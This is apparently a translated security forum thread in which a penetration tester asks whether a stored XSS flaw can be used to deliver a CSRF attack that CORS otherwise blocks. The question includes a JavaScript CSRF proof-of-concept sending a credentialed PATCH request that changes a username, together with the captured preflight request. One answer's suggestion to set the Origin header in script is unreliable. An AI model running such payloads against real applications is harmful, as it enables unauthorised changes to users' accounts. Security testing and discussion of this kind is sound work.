explotando CSRF en una solicitud ajax a través de la falla XSS

0

En una aplicación que estoy probando, hay un defecto XSS almacenado. Ahora, estaba probando para CSRF y construí una página HTML con un javascript que envía la solicitud ajax (XHR). Provocó una solicitud previa al vuelo y luego el navegador dice que la solicitud de origen cruzado está bloqueada porque falta el control-acceso-permiso-origen. Mi pregunta es, si uso el defecto XSS almacenado, entonces la solicitud se enviará desde el mismo dominio y el ataque CSRF sería exitoso, ¿verdad?

Gracias de antemano.

<html>
  <!-- CSRF PoC-->
  <body>
<p>csrf test</p>
<script>
var http = new XMLHttpRequest();
var params = "{\"username\":\"pentester12\"}";
http.open("PATCH", "https://www.domain.com/data/user/ef891d503e1a4c8994fcf81d0fdb6168?details=false", true);


http.setRequestHeader("Accept","application/json, text/javascript, */*; q=0.01");
http.setRequestHeader("User-Agent","Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4");
http.setRequestHeader("Referer","https://www.domain.com/data/user/ef891d503e1a4c8994fcf81d0fdb6168?details=false");
http.setRequestHeader("Connection","close");
http.setRequestHeader("Accept-Language","en-US,en;q=0.5");
http.setRequestHeader("Accept-Encoding","gzip, deflate");
http.setRequestHeader("Content-Type","text/plain; charset=UTF-8");
http.setRequestHeader("Origin","www.domain.com");
http.withCredentials= "true";
http.onreadystatechange = function() {
    if(http.readyState == 4 && http.status == 200) {
        console.info(http.status);
        console.info(http.responseText);
    }
}
http.send(params);
</script>
  </body>
</html>

Solicitud previa al vuelo:

OPTIONS /data/user/ef891d503e1a4c8994fcf81d0fdb6168?details=false HTTP/1.1
Host: www.domain.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Access-Control-Request-Method: PATCH
Access-Control-Request-Headers: user-agent
Origin: null
Connection: close

Falsifiqué el encabezado de origen al dominio de destino utilizando burp. Pero tengo el mismo error CORS.

    
pregunta entropy 02.06.2016 - 16:08
fuente

2 respuestas

1

Sí, funcionará. El encabezado CORS evitará que las solicitudes externas se realicen (por ejemplo, un enlace malicioso recibido por correo electrónico y hecho clic por el usuario).

Si combina una falla XSS almacenada y realiza una solicitud en la carga de la página para ejecutar alguna acción, ciertamente funcionará. La solicitud proviene del dominio de la aplicación, por lo que la aplicación / navegador no tendrá manera de distinguir esta solicitud de una solicitud falsificada.

La guía OWASP proporciona más información, eche un vistazo.

EDITAR: Ahora veo tu edición. A ver si entiendo lo que estás tratando de hacer.

Escenario: tiene una entrada no higienizada, que le permite explorar el defecto XSS. Pones un poco de Javascript sucio para realizar una acción, como alertas o registros, y funciona cada vez que se carga la página. Bien.

En el siguiente paso, ha elaborado un XHR para el mismo dominio de aplicación, desde el dominio de aplicación. ¿Sigues recibiendo un error CORS?

    
respondido por el Hugo Dias 02.06.2016 - 16:45
fuente
0

Access-Control-Allow-Origin es un encabezado CORS destinado a comprobar si la solicitud proviene del mismo dominio o no. La solicitud se envía desde el mismo dominio, pero es posible que no lo haya dicho en el encabezado de solicitud HTTP. No tengo mucha información sobre su problema preciso, pero para mí, debe especificar el encabezado Origen :

var xhr= new XMLHttpRequest();
xhr.setRequetHeader("Origin", TargetDomain);

En general, si desea probar una aplicación para CSRF, una buena manera de comenzar es verificar los encabezados HTTP de solicitud y respuesta de una navegación legítima e intentar falsificarlos.

    
respondido por el MadWard 02.06.2016 - 16:25
fuente

Lea otras preguntas en las etiquetas